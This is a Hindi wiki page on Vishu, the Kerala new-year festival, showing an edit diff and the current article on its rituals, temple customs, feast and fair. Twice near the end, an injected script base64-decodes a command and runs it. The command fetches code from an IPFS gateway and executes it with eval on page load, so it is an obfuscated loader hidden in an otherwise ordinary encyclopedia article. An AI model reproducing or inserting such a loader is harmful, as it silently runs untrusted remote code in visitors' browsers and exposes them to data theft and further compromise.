"विशु" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Adding category Category:संस्कृति कोश (को हटा दिया गया हैं।))
 
(7 सदस्यों द्वारा किये गये बीच के 17 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
{{tocright}}
+
{{सूचना बक्सा संक्षिप्त परिचय
विशु केरल का प्राचीन उत्सव है। यह केरलावासियों के लिए नववर्ष का दिन है। यह मलयालम महीने मेष की पहली तिथि को मनाया जाता है। केरल में विशु उत्सव के दिन धान की बुआई का काम शुरु होता है। इस दिन को यहाँ "मलयाली न्यू ईयर विशु" के नाम से पुकारा जाता है।  
+
|चित्र=Vishu.jpg
 +
|चित्र का नाम=भगवान कृष्ण
 +
|विवरण=यह केरलवासियों के लिए नववर्ष का दिन है। यह मलयालम महीने 'मेदम' की पहली [[तिथि]] को मनाया जाता है।
 +
|शीर्षक 1=वर्ष 2024
 +
|पाठ 1=[[14 अप्रॅल]]
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|शीर्षक 3=उत्सव
 +
|पाठ 3=विशु की सुबह ही सोते बच्चों के कान में 'कणी'-'कणी' 'कणी'-ऐसे गुंजाया जाता है कि बच्चा नींद को छोड़कर उठ खड़ा हो। [[मलयालम भाषा]] में 'कणी' शब्द का अर्थ है-'फल'। इसके बाद बच्चों को फलों की दावत दी जाती है। विशु के इस शुभ दिन पर केरल के हर घर में [[संगीत]] की लहरियाँ गूँजती हैं।
 +
|शीर्षक 4=धार्मिक अनुष्ठान
 +
|पाठ 4=विशु के दिन अनेक धार्मिक कर्मकाण्ड आयोजित किए जाते हैं। विशु के पहले उत्तरी केरल के मन्दिरों में 'ब्रैटम' का आयोजन होता है। ब्रैटम एक तरह से पुरुषों के द्वारा अपने इष्टदेव को रिझाने के लिए [[प्रार्थना]] है।
 +
|शीर्षक 5=विशु कैनीतम
 +
|पाठ 5= इस त्योहार पर [[परिवार]] के छोटे बच्चों को कुछ नगद धन देने की भी परम्परा है। इसे "विशु कैनीतम" कहा जाता है। लोगों में मान्यता है कि यह कार्य भविष्य में उनके बच्चों की समृद्धि सुनिश्चित् करता है।
 +
|शीर्षक 6=
 +
|पाठ 6=
 +
|शीर्षक 7=
 +
|पाठ 7=
 +
|शीर्षक 8=
 +
|पाठ 8=
 +
|शीर्षक 9=
 +
|पाठ 9=
 +
|शीर्षक 10=
 +
|पाठ 10=
 +
|संबंधित लेख=
 +
|अन्य जानकारी=केरल में विशु उत्सव के दिन धान की बुआई का काम शुरू होता है। इस दिन को यहाँ "मलयाली न्यू ईयर विशु" के नाम से पुकारा जाता है।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन={{अद्यतन|12:37, 28 फ़रवरी 2024 (IST)}}
 +
}}
 +
'''विशु''' ([[अंग्रेज़ी]]: ''Vishu'') [[केरल]] का प्रसिद्ध उत्सव है। यह केरलवासियों के लिए नववर्ष का दिन है। यह मलयालम महीने 'मेदम' की पहली तिथि को मनाया जाता है। केरल में विशु उत्सव के दिन धान की बुआई का काम शुरू होता है। इस दिन को यहाँ "मलयाली न्यू ईयर विशु" के नाम से पुकारा जाता है। [[बसन्त ऋतु]] में सुखद आशा व अपेक्षा की भावनाओं को संजोए केरल में विशु (विषु) पर्व भी अन्य पर्वों की भाँति हर्षोल्लास से मनाया जाता है। प्रातःकाल में विशुकनी के शुभ दर्शन की रीति का अनुसरण करते आए केरलवासी इस पर्व का शुभारम्भ करते हैं। केरल के प्रत्येक [[हिन्दू]] परिवार में लोगों को जितनी प्रतीक्षा अपने नववर्ष 'विशु' की होती है, उतनी शायद ही किसी अन्य त्योहार की होती है। विशु उनके नये वर्ष का त्योहार है। [[मेष संक्रान्ति]] अर्थात् [[चैत्र]] [[शुक्ल पक्ष|शुक्ल]] [[प्रतिपदा]] से केरल में नववर्ष का शुभारम्भ होता है। इस अवसर पर नये [[पंचांग]] की [[पूजा]] करके उसे उपस्थित जनसमुदाय के बीच में पढ़ा जाता है और नये वर्ष का भविष्य फल बताया जाता है।
 +
==उत्सव का प्रारम्भ==
 +
मलयाली मास 'मेदम' के प्रथम दिन ही विशु का त्योहार हर्ष व उल्लास से मनाया जाता है। विशु की सुबह ही सोते बच्चों के कान में 'कणी'-'कणी' 'कणी'-ऐसे गुंजाया जाता है कि बच्चा नींद को छोड़कर उठ खड़ा हो। [[मलयालम भाषा]] में 'कणी' शब्द का अर्थ है-'फल'। इसके बाद बच्चों को फलों की दावत दी जाती है। विशु के इस शुभ दिन पर केरल के हर घर में [[संगीत]] की लहरियाँ गूँजती हैं। लोग भक्ति-संगीत में लीन होकर नये वर्ष का स्वागत करते हैं। एक तरह से किसानों के लिए यह पर्व आशापुंज है। इस दिन वे सुखी व समृद्ध जीवन की कामना करते हैं। [[अंग्रेज़ी भाषा|अंग्रेज़ी]] कलेन्डर के अनुसार यह दिन [[अप्रैल]]-[[मई]] में आता है। हिन्दुओं के लिए यह अवसर अत्यन्त महत्त्वपूर्ण है, क्योंकि विशु का त्योहार नववर्ष का शुभारम्भ घोषित करता है। विशु के दिन परम्पराबद्ध केरलवासी अनेक रंगारंग अनुष्ठान व विधियों का पालन करते हैं। अधिकतर ये परम्पराएँ इस विश्वास पर आधारित हैं कि विशुपर्व धूम–धाम से मनाना चाहिए, क्योंकि नववर्ष के प्रथम दिन के शुभकार्य पूरे वर्ष भी जारी रहेंगे।
 
==पूजा==
 
==पूजा==
मलयालम समाज में इस दिन मंदिरो में विशुक्कणी के दर्शन कर समाज के लिये नव वर्ष का स्वागत किया जाता है। केरल में विशु उत्सव पर पारंपरिक नृ्त्य गान के साथ आतिशबाजी का आनन्द लिया जाता है। इस दिन विशेषकर अय्यापा मंदिर में विशेष पूजा अर्चना की जाती है। विशु यानी भगवान "[[कृष्ण|श्री कृष्ण]]" और कणी यानी "टोकरी"  
+
मलयालम समाज में इस दिन मंदिरो में विशुक्कणी के दर्शन कर समाज के लिये नव वर्ष का स्वागत किया जाता है। केरल में विशु उत्सव पर पारंपरिक नृ्त्य गान के साथ आतिशबाज़ी का आनन्द लिया जाता है। इस दिन विशेषकर अय्यापा मंदिर में विशेष पूजा अर्चना की जाती है। विशु यानी भगवान "[[कृष्ण|श्री कृष्ण]]" और कणी यानी "टोकरी"। विशु पर्व पर भगवान श्री कृष्ण को टोकरी में रखकर उसमें कटहल, [[कद्दू]], [[पीला रंग|पीले]] [[फूल]], कांच, [[नारियल]] और अन्य चीज़ों से सजाया जाता है। इस दिन सबसे पहले घर का मुखिया [[आँख|आँखें]] बंद कर विशुक्कणी के दर्शन करता है। कई जगहों पर घर के मुखिया से पहले बच्चों को देव विशुक्कणी के दर्शन कराये जाते हैं। नव वर्ष के दिन सबसे पहले देव के दर्शन करने का उद्देश्य अपने पूरे वर्ष को शुभ करने से जुड़ा हुआ है।
 +
[[चित्र:Vishu-3.jpg|left|पूजा अर्चना का सामान|thumb]]
 +
==धार्मिक अनुष्ठान==
 +
विशु के दिन अनेक धार्मिक कर्मकाण्ड आयोजित किए जाते हैं। विशु के पहले उत्तरी केरल के मन्दिरों में 'ब्रैटम' का आयोजन होता है। ब्रैटम एक तरह से पुरुषों के द्वारा अपने इष्टदेव को रिझाने के लिए प्रार्थना है। इस आराधना में दो विभिन्न जातियों के लोग देवी और [[देवता]] का रूप धारण करके [[रंग]]–बिरंगे वस्त्र पहन कर मन्दिर के समक्ष नृत्य करते हैं। आकर्षक रंगों से रंगे उनके मुखोटे की छवि तथा [[नृत्य कला|नृत्य]] की लय के साथ 'छेंदा', [[ढोल|ढोलों]] की तेज़ ध्वनि एक निराला समा बाँध देती है। विशु के दिन 'कनिकनल' अनुष्ठान [[केरल]] की महत्त्वपूर्ण धार्मिक परम्परा है।
 +
==कनिकनल की परम्परा==
 +
यह अनुष्ठान सबसे महत्त्वपूर्ण है। इसका शाब्दिक अर्थ है, "प्रथम दर्शन"। कनिकनल रीति के अनुसार अनेक वस्तुओं का विधान है, जिन्हें शुभ की आशा रखने वाले व्यक्ति को प्रातः सर्वप्रथम देखना चाहिए। इन वस्तुओं में सम्मिलित हैं-पत्र–पुस्तक, आभूषण, स्वच्छ श्वेतवस्त्र, [[चावल]] या धान की कुछ मात्रा, कोन्ना, वृक्ष के पुष्प, आधा कटा सीताफल, [[नारियल]] तथा पीला खीरा। ये सभी वस्तुएँ एक बड़े पात्र में रखी जाती हैं। इस पात्र के पीछे लघु घंटियों से युक्त शीशा व माला धारण किए [[कृष्ण]] की मूर्ति रखी जाती है तथा उर्ध्व दिशा में उन्मुख तेल के दीपक, मूर्ति के निकट रखे जाते हैं। कनि की तैयारियाँ गृहलक्ष्मी एक रात पूर्व करती है। कनि के लिए सर्वप्रथम घर का मुखिया आता है तथा अन्य परिवारीजन उसके बाद आते हैं। बच्चों की आँखों पर पट्टी बाँधकर उन्हें कमरे से प्रातः सबसे पहले कनिकनल दिखाने के लिए लाया जाता है। विशुकनि को बाद में निर्धनों व ज़रूरत मंद लोगों में बाँटा जाता है। इस रीति के पीछे यह अटूट विश्वास है कि इस दिन सर्वप्रथम धन सम्पत्ति के दर्शन से वर्षभर धन-सम्पत्ति मिलती है।
 +
==विशु कैनीतम==
 +
इस त्योहार पर परिवार के छोटे बच्चों को कुछ नगद धन देने की भी परम्परा है। इसे "विशु कैनीतम" कहा जाता है। लोगों में मान्यता है कि यह कार्य भविष्य में उनके बच्चों की समृद्धि सुनिश्चित् करता है।
 +
==मन्दिर में विशुकनि==
 +
बहुत से लोग विशुकनि मन्दिर में देखना पसंद करते हैं। गुरुवयूर, अम्बलपूढ़ा व सबरीमाला के मन्दिरों में भारी भीड़ देखी जा सकती है। इन मन्दिरों में इस दिन विशेष प्रार्थनाएँ की जाती हैं। लोग मन्दिरों के प्रांगण में विशु से एक दिन पहले ही रात बिताते हैं, ताकि वे विशु के दिन सर्वप्रथम कनि को देख सकें। श्रद्धालु अपनी आँखें बन्द कर मन्दिर के कपाट खुलने की प्रतीक्षा करते हैं। द्वार खुलते ही वे सर्वप्रथम कनि पर ध्यान केन्द्रित करते हैं।
 +
==समारोह और स्वादिष्ट व्यंजन==
 +
गृहस्थियाँ "सदया" नामक भोज तैयार करती हैं। जिसे दोपहर के समय सभी लोग ग्रहण करते हैं। पकवान प्रायः [[कद्दू]], [[आम]], [[घीया]], [[करेला]], अन्य शाकाहारी वस्तुओं व [[फल|फलों]] से बनाए जाते हैं। ये सभी वस्तुएँ इस ऋतु में प्रचुर मात्रा में उपलब्ध होती हैं। लोग कोडिवस्त्रम् (नए कपड़े) भी इस दिन पहनते हैं। [[नृत्य]], [[संगीत]] के बीच पटस्सु (पटाखे) बजाए जाते हैं।
 +
==विशुवेला==
 +
विशुवेला नववर्ष मेला है, जिसे उत्साह से मनाया जाता है। युवक–युवतियों का समूह चोच्झी के रूप में लुंगी व [[केला|केले]] के पत्रों को पहन तथा अपने मुख को ढककर गाँव में घर घर–घर जाता है। ये लोग कुछ धनराशि एकत्रित करते हैं। विशु के दिन इन्हें अपने प्रदर्शन के लिए अच्छा इनाम मिल जाता है। इस धन को विशुवेला में खर्च किया जाता है।
 +
 
 +
 
  
विशु पर्व पर भगवान श्री कृ्ष्ण को टोकरी में रखकर उसमें कटहल, [[कद्दू]], [[पीला रंग|पीले]] [[फूल]], कांच, नारियल और अन्य चीजों से सजाया जाता है। इस दिन सबसे पहले घर का मुखिया [[आँख|आँखें]] बंद कर विशुक्कणी के दर्शन करता है। कई जगहों पर घर के मुखिया से पहले बच्चों को देव विशुक्कणी के दर्शन कराये जाते है। नव वर्ष के दिन सबसे पहले देव के दर्शन करने का उद्देश्य अपने पूरे वर्ष को शुभ करने से जुड़ा हुआ है।
 
==विशुक्कणी==
 
केरल में विशुक्कणी अथवा शुभ दृश्य के अवलोकन की प्रथा नव वर्ष उत्सव का महत्वपूर्ण भाग होता है। समृद्धि के सूचक जैसे अक्षत, नया परिधान, [[सोना|स्वर्ण]], खीरा, ताम्बूल पत्र, सुपारी, दर्पण, अमलतास, शास्त्र और [[मुद्रा]], कांस्य [[धातु]] के बर्तन ‘उरुली’ में रखे जाते हैं जिसे ‘विशुक्कणी’ कहते हैं। विशुक्कणी की व्यवस्था परिवार के सबसे बड़े सदस्य द्वारा विशु की पूर्व रात्रि में की जाती है। मलयाली लोगों का विश्वास है कि सुबह आँख खुलते ही सबसे पहले इसे देखने से साल भर परिवार में संपन्नता बनी रहती है। दिया, नारियल, सिक्के और पीले फूल भी शुभ वस्तुओं में गिने जाते हैं। इस त्यौहार की मुख्य विशेषता कई तरह का स्वादिष्ट खाना है जिसमें अधिकांश मौसमी [[सब्जियाँ|सब्जियों]] और [[फल|फलों]] जैसे ककड़ी, [[आम]] और कटहल आदि को शामिल किया जाता है।
 
==विशुकैनीतम==
 
विशु उत्सव पर लोग ‘कोडी वस्त्रम’ या नया वस्त्र धारण करते हैं। परिवार के वयोवृद्ध सदस्य इस दिन उन्हें मुद्रा और मिष्ठान बाँटते हैं जो इनसे आशीर्वाद माँगने आते हैं। इसे ‘विशुकैनीतम’ कहते हैं। बच्चे इस परम्परा को पसन्द करते हैं और पैसे एकत्र करने के लिए बड़ों के पास जाते हैं। इसे वे ‘विशुवेला’ के मेले में खाने-पीने और आनन्द मनाने में खर्च करते हैं।
 
  
{{प्रचार}}
+
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक=|पूर्णता=|शोध=}}
{{लेख प्रगति
 
|आधार=
 
|प्रारम्भिक=प्रारम्भिक1
 
|माध्यमिक=
 
|पूर्णता=
 
|शोध=
 
}}
 
{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{पर्व और त्योहार}}
 
{{पर्व और त्योहार}}
[[Category:नया पन्ना]]
+
[[Category:केरल]]
 
[[Category:पर्व और त्योहार]]
 
[[Category:पर्व और त्योहार]]
[[Category:हिन्दू धर्म]]
 
[[Category:हिन्दू धर्म कोश]]
 
 
[[Category:संस्कृति कोश]]
 
[[Category:संस्कृति कोश]]
 +
[[Category:केरल की संस्कृति]]
 
__INDEX__
 
__INDEX__
 +
__NOTOC__

07:07, 28 फ़रवरी 2024 के समय का अवतरण

विशु
भगवान कृष्ण
विवरण यह केरलवासियों के लिए नववर्ष का दिन है। यह मलयालम महीने 'मेदम' की पहली तिथि को मनाया जाता है।
वर्ष 2024 14 अप्रॅल
उत्सव विशु की सुबह ही सोते बच्चों के कान में 'कणी'-'कणी' 'कणी'-ऐसे गुंजाया जाता है कि बच्चा नींद को छोड़कर उठ खड़ा हो। मलयालम भाषा में 'कणी' शब्द का अर्थ है-'फल'। इसके बाद बच्चों को फलों की दावत दी जाती है। विशु के इस शुभ दिन पर केरल के हर घर में संगीत की लहरियाँ गूँजती हैं।
धार्मिक अनुष्ठान विशु के दिन अनेक धार्मिक कर्मकाण्ड आयोजित किए जाते हैं। विशु के पहले उत्तरी केरल के मन्दिरों में 'ब्रैटम' का आयोजन होता है। ब्रैटम एक तरह से पुरुषों के द्वारा अपने इष्टदेव को रिझाने के लिए प्रार्थना है।
विशु कैनीतम इस त्योहार पर परिवार के छोटे बच्चों को कुछ नगद धन देने की भी परम्परा है। इसे "विशु कैनीतम" कहा जाता है। लोगों में मान्यता है कि यह कार्य भविष्य में उनके बच्चों की समृद्धि सुनिश्चित् करता है।
अन्य जानकारी केरल में विशु उत्सव के दिन धान की बुआई का काम शुरू होता है। इस दिन को यहाँ "मलयाली न्यू ईयर विशु" के नाम से पुकारा जाता है।
अद्यतन‎

विशु (अंग्रेज़ी: Vishu) केरल का प्रसिद्ध उत्सव है। यह केरलवासियों के लिए नववर्ष का दिन है। यह मलयालम महीने 'मेदम' की पहली तिथि को मनाया जाता है। केरल में विशु उत्सव के दिन धान की बुआई का काम शुरू होता है। इस दिन को यहाँ "मलयाली न्यू ईयर विशु" के नाम से पुकारा जाता है। बसन्त ऋतु में सुखद आशा व अपेक्षा की भावनाओं को संजोए केरल में विशु (विषु) पर्व भी अन्य पर्वों की भाँति हर्षोल्लास से मनाया जाता है। प्रातःकाल में विशुकनी के शुभ दर्शन की रीति का अनुसरण करते आए केरलवासी इस पर्व का शुभारम्भ करते हैं। केरल के प्रत्येक हिन्दू परिवार में लोगों को जितनी प्रतीक्षा अपने नववर्ष 'विशु' की होती है, उतनी शायद ही किसी अन्य त्योहार की होती है। विशु उनके नये वर्ष का त्योहार है। मेष संक्रान्ति अर्थात् चैत्र शुक्ल प्रतिपदा से केरल में नववर्ष का शुभारम्भ होता है। इस अवसर पर नये पंचांग की पूजा करके उसे उपस्थित जनसमुदाय के बीच में पढ़ा जाता है और नये वर्ष का भविष्य फल बताया जाता है।

उत्सव का प्रारम्भ

मलयाली मास 'मेदम' के प्रथम दिन ही विशु का त्योहार हर्ष व उल्लास से मनाया जाता है। विशु की सुबह ही सोते बच्चों के कान में 'कणी'-'कणी' 'कणी'-ऐसे गुंजाया जाता है कि बच्चा नींद को छोड़कर उठ खड़ा हो। मलयालम भाषा में 'कणी' शब्द का अर्थ है-'फल'। इसके बाद बच्चों को फलों की दावत दी जाती है। विशु के इस शुभ दिन पर केरल के हर घर में संगीत की लहरियाँ गूँजती हैं। लोग भक्ति-संगीत में लीन होकर नये वर्ष का स्वागत करते हैं। एक तरह से किसानों के लिए यह पर्व आशापुंज है। इस दिन वे सुखी व समृद्ध जीवन की कामना करते हैं। अंग्रेज़ी कलेन्डर के अनुसार यह दिन अप्रैल-मई में आता है। हिन्दुओं के लिए यह अवसर अत्यन्त महत्त्वपूर्ण है, क्योंकि विशु का त्योहार नववर्ष का शुभारम्भ घोषित करता है। विशु के दिन परम्पराबद्ध केरलवासी अनेक रंगारंग अनुष्ठान व विधियों का पालन करते हैं। अधिकतर ये परम्पराएँ इस विश्वास पर आधारित हैं कि विशुपर्व धूम–धाम से मनाना चाहिए, क्योंकि नववर्ष के प्रथम दिन के शुभकार्य पूरे वर्ष भी जारी रहेंगे।

पूजा

मलयालम समाज में इस दिन मंदिरो में विशुक्कणी के दर्शन कर समाज के लिये नव वर्ष का स्वागत किया जाता है। केरल में विशु उत्सव पर पारंपरिक नृ्त्य गान के साथ आतिशबाज़ी का आनन्द लिया जाता है। इस दिन विशेषकर अय्यापा मंदिर में विशेष पूजा अर्चना की जाती है। विशु यानी भगवान "श्री कृष्ण" और कणी यानी "टोकरी"। विशु पर्व पर भगवान श्री कृष्ण को टोकरी में रखकर उसमें कटहल, कद्दू, पीले फूल, कांच, नारियल और अन्य चीज़ों से सजाया जाता है। इस दिन सबसे पहले घर का मुखिया आँखें बंद कर विशुक्कणी के दर्शन करता है। कई जगहों पर घर के मुखिया से पहले बच्चों को देव विशुक्कणी के दर्शन कराये जाते हैं। नव वर्ष के दिन सबसे पहले देव के दर्शन करने का उद्देश्य अपने पूरे वर्ष को शुभ करने से जुड़ा हुआ है।

पूजा अर्चना का सामान

धार्मिक अनुष्ठान

विशु के दिन अनेक धार्मिक कर्मकाण्ड आयोजित किए जाते हैं। विशु के पहले उत्तरी केरल के मन्दिरों में 'ब्रैटम' का आयोजन होता है। ब्रैटम एक तरह से पुरुषों के द्वारा अपने इष्टदेव को रिझाने के लिए प्रार्थना है। इस आराधना में दो विभिन्न जातियों के लोग देवी और देवता का रूप धारण करके रंग–बिरंगे वस्त्र पहन कर मन्दिर के समक्ष नृत्य करते हैं। आकर्षक रंगों से रंगे उनके मुखोटे की छवि तथा नृत्य की लय के साथ 'छेंदा', ढोलों की तेज़ ध्वनि एक निराला समा बाँध देती है। विशु के दिन 'कनिकनल' अनुष्ठान केरल की महत्त्वपूर्ण धार्मिक परम्परा है।

कनिकनल की परम्परा

यह अनुष्ठान सबसे महत्त्वपूर्ण है। इसका शाब्दिक अर्थ है, "प्रथम दर्शन"। कनिकनल रीति के अनुसार अनेक वस्तुओं का विधान है, जिन्हें शुभ की आशा रखने वाले व्यक्ति को प्रातः सर्वप्रथम देखना चाहिए। इन वस्तुओं में सम्मिलित हैं-पत्र–पुस्तक, आभूषण, स्वच्छ श्वेतवस्त्र, चावल या धान की कुछ मात्रा, कोन्ना, वृक्ष के पुष्प, आधा कटा सीताफल, नारियल तथा पीला खीरा। ये सभी वस्तुएँ एक बड़े पात्र में रखी जाती हैं। इस पात्र के पीछे लघु घंटियों से युक्त शीशा व माला धारण किए कृष्ण की मूर्ति रखी जाती है तथा उर्ध्व दिशा में उन्मुख तेल के दीपक, मूर्ति के निकट रखे जाते हैं। कनि की तैयारियाँ गृहलक्ष्मी एक रात पूर्व करती है। कनि के लिए सर्वप्रथम घर का मुखिया आता है तथा अन्य परिवारीजन उसके बाद आते हैं। बच्चों की आँखों पर पट्टी बाँधकर उन्हें कमरे से प्रातः सबसे पहले कनिकनल दिखाने के लिए लाया जाता है। विशुकनि को बाद में निर्धनों व ज़रूरत मंद लोगों में बाँटा जाता है। इस रीति के पीछे यह अटूट विश्वास है कि इस दिन सर्वप्रथम धन सम्पत्ति के दर्शन से वर्षभर धन-सम्पत्ति मिलती है।

विशु कैनीतम

इस त्योहार पर परिवार के छोटे बच्चों को कुछ नगद धन देने की भी परम्परा है। इसे "विशु कैनीतम" कहा जाता है। लोगों में मान्यता है कि यह कार्य भविष्य में उनके बच्चों की समृद्धि सुनिश्चित् करता है।

मन्दिर में विशुकनि

बहुत से लोग विशुकनि मन्दिर में देखना पसंद करते हैं। गुरुवयूर, अम्बलपूढ़ा व सबरीमाला के मन्दिरों में भारी भीड़ देखी जा सकती है। इन मन्दिरों में इस दिन विशेष प्रार्थनाएँ की जाती हैं। लोग मन्दिरों के प्रांगण में विशु से एक दिन पहले ही रात बिताते हैं, ताकि वे विशु के दिन सर्वप्रथम कनि को देख सकें। श्रद्धालु अपनी आँखें बन्द कर मन्दिर के कपाट खुलने की प्रतीक्षा करते हैं। द्वार खुलते ही वे सर्वप्रथम कनि पर ध्यान केन्द्रित करते हैं।

समारोह और स्वादिष्ट व्यंजन

गृहस्थियाँ "सदया" नामक भोज तैयार करती हैं। जिसे दोपहर के समय सभी लोग ग्रहण करते हैं। पकवान प्रायः कद्दू, आम, घीया, करेला, अन्य शाकाहारी वस्तुओं व फलों से बनाए जाते हैं। ये सभी वस्तुएँ इस ऋतु में प्रचुर मात्रा में उपलब्ध होती हैं। लोग कोडिवस्त्रम् (नए कपड़े) भी इस दिन पहनते हैं। नृत्य, संगीत के बीच पटस्सु (पटाखे) बजाए जाते हैं।

विशुवेला

विशुवेला नववर्ष मेला है, जिसे उत्साह से मनाया जाता है। युवक–युवतियों का समूह चोच्झी के रूप में लुंगी व केले के पत्रों को पहन तथा अपने मुख को ढककर गाँव में घर घर–घर जाता है। ये लोग कुछ धनराशि एकत्रित करते हैं। विशु के दिन इन्हें अपने प्रदर्शन के लिए अच्छा इनाम मिल जाता है। इस धन को विशुवेला में खर्च किया जाता है।



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>